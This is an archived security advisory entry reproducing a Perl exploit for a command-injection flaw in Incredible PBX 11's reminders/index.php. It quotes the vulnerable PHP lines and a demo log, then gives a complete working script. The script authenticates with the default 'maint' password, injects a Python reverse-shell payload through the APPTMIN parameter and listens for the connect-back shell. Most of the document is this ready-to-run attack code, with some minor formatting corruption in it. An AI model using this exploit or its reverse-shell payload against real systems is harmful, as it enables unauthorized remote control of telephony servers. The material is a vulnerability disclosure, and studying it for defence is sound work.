Incredible PBX remote command execution exploit

2014-11-03T00:00:00
ID SECURITYVULNS:DOC:31358
Type securityvulns
Reporter Securityvulns
Modified 2014-11-03T00:00:00

Description

!/usr/bin/perl

Title: Incredible PBX remote command execution exploit

Author: Simo Ben youssef

Contact: Simo_at_Morxploit_com

Discovered: 1 September 2014

Coded: 21 October 2014

Published: 21 October 2014

MorXploit Research

http://www.MorXploit.com

Vendor: PBX in a Flash

Vendor url: http://pbxinaflash.net/

Software: Incredible PBX 11

Version: 2.0.6.5.0

Product url: http://incrediblepbx.com/

Download: http://nerdvittles.dreamhosters.com/pbxinaflash/downloads/IncrediblePBX11-20650.ova.torrent

Vulnerable file: reminders/index.php

About (from their website):

Incredible PBX is a secure and feature-rich implementation of the terrific AsteriskВ® PBX. By rethinking the PBX security model from the

ground up, Incredible PBX was engineered to provide rock-solid security while delivering the most comprehensive collection of Asterisk

utilities available on the planet including free calling in the U.S. and Canada courtesy of Google Voice.

Description:

reminders/index.php which ships with Incredible PBX suffers from a command execution vulnerability, allowing an authenticated user to

inject commands as the asterisk user.

Vulnerable code:

484: system $retcode3 = system("sox $tmpwave -r 8000 -c 1 $newgsm");

472: $tmpwave = "/tmp/$token.wav";

469: $token = md5(uniqid(""));

483: $newgsm = "/var/lib/asterisk/sounds/custom/" . $APPTTIME . "." . $APPTDT . "." . $APPTPHONE . ".gsm";

381: $APPTTIME = str_replace(array(chr(13), chr(10), "<", ">"), "", $APPTTIME);

375: $APPTTIME = $_REQUEST['APPTHR'] . $_REQUEST['APPTMIN'];

380: $APPTDT = str_replace(array(chr(13), chr(10), "<", ">"), "", $APPTDT);

374: $APPTDT = $_REQUEST['APPTYR'] . $_REQUEST['APPTMO'] . $_REQUEST['APPTDA'];

382: $APPTPHONE = str_replace(array(chr(13), chr(10), "<", ">", " ", "(", ")", "-", "."), "", $APPTPHONE);

376: $APPTPHONE = $_REQUEST['APPTPHONE'];

As you can see, none of user input sent through $_REQUEST[] parameters is being validated/sanitized before being passed it to system();

Exploit:

As PoC, the below perl code will try to exploit $_REQUEST['APPTMIN'] to inject a python connect back shell.

Note:

Access to reminders/index.php requires 'maint' password, in the exploit code we have used the default installation password which is

'password'.

Demo:

====================================================

--- Incredible PBX remote command execution exploit

--- By: Simo Ben youssef <simo_at_morxploit_com>

--- MorXploit Research www.MorXploit.com

====================================================

[*] MorXploiting http://10.0.0.20/reminders/index.php

[+] Sent payload! Waiting for connect back shell ...

sh: no job control in this shell

sh-4.1$ id; cat /etc/issue

id; cat /etc/issue

uid=498(asterisk) gid=497(asterisk) groups=497(asterisk)

CentOS release 6.5 (Custom) on \m

Welcome to PBX in a Flash - Green

Please log in to continue

******

Your IP Address is:

10.0.0.20

******

Download:

http://www.morxploit.com/morxploits/morxincpbx.pl

Requires LWP::UserAgent

apt-get install libwww-perl

yum install libwww-perl

perl -MCPAN -e 'install Bundle::LWP'

For SSL support:

apt-get install liblwp-protocol-https-perl

yum install perl-Crypt-SSLeay

Author disclaimer:

The information contained in this entire document is for educational, demonstration and testing purposes only.

Author cannot be held responsible for any malicious use or damage. Use at your own risk.

use LWP::UserAgent; use MIME::Base64; use IO::Socket; use strict;

sub banner { system(($^O eq 'MSWin32') ? 'cls' : 'clear'); print "====================================================\n"; print "--- Incredible PBX remote command execution exploit\n"; print "--- By: Simo Ben youssef <simo_at_morxploit_com>\n"; print "--- MorXploit Research www.MorXploit.com\n"; print "====================================================\n"; }

if (!defined ($ARGV[0] && $ARGV[1] && $ARGV[2])) { banner(); print "perl $0 <target> <connectbackIP> <connectbackport>\n"; print "perl $0 http://10.0.0.16 10.0.0.2 31337\n"; exit; }

my $host = $ARGV[0]; my $vuln = "reminders/index.php"; my $cbhost = $ARGV[1]; my $cbport = $ARGV[2]; my $defuser = "maint"; # Default maint user my $defpass = "password"; # Default maint pass my $string = "$defuser:$defpass"; my $host2 = "http://localhost:81"; my $encoded = encode_base64($string); $| = 1; $SIG{CHLD} = 'IGNORE';

my $l_sock = IO::Socket::INET->new( Proto => "tcp", LocalPort => "$cbport", Listen => 1, LocalAddr => "0.0.0.0", Reuse => 1, ) or die "[-] Could not listen on $cbport: $!\n";

sub randomagent { my @array = ('Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0', 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)', 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31' ); my $random = $array[rand @array]; return($random); } my $useragent = randomagent();

my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 }); $ua->timeout(10); $ua->agent($useragent); my $status = $ua->get("$host/$vuln", Authorization => "Basic $encoded"); unless ($status->is_success) { banner(); print "[-] Error: " . $status->status_line . "\n"; exit; }

banner(); print "[*] MorXploiting $host/$vuln\n";

my $payload = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$cbhost\",$cbport));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"; my $get = "APPTDA=morx&APPTPHONE=morx&APPTMO=morx&APPTMIN=;$payload;&APPTHR=morx"; my $exploit = $ua->get("$host/$vuln?$get", Authorization => "Basic $encoded"); print "[+] Sent payload! Waiting for connect back root shell ...\n";

my $a_sock = $l_sock->accept(); $l_sock->shutdown(SHUT_RDWR); copy_data_bidi($a_sock);

sub copy_data_bidi { my ($socket) = @; my $child_pid = fork(); if (! $child_pid) { close(STDIN); copy_data_mono($socket, STDOUT); $socket->shutdown(SHUT_RD); exit(); } else { close(STDOUT); copy_data_mono(STDIN, $socket); $socket->shutdown(SHUT_WR); kill("TERM", $child_pid); } } sub copy_data_mono { my ($src, $dst) = @; my $buf; while (my $read_len = sysread($src, $buf, 4096)) { my $write_len = $read_len; while ($write_len) { my $written_len = syswrite($dst, $buf); return unless $written_len; $write_len -= $written_len; } } }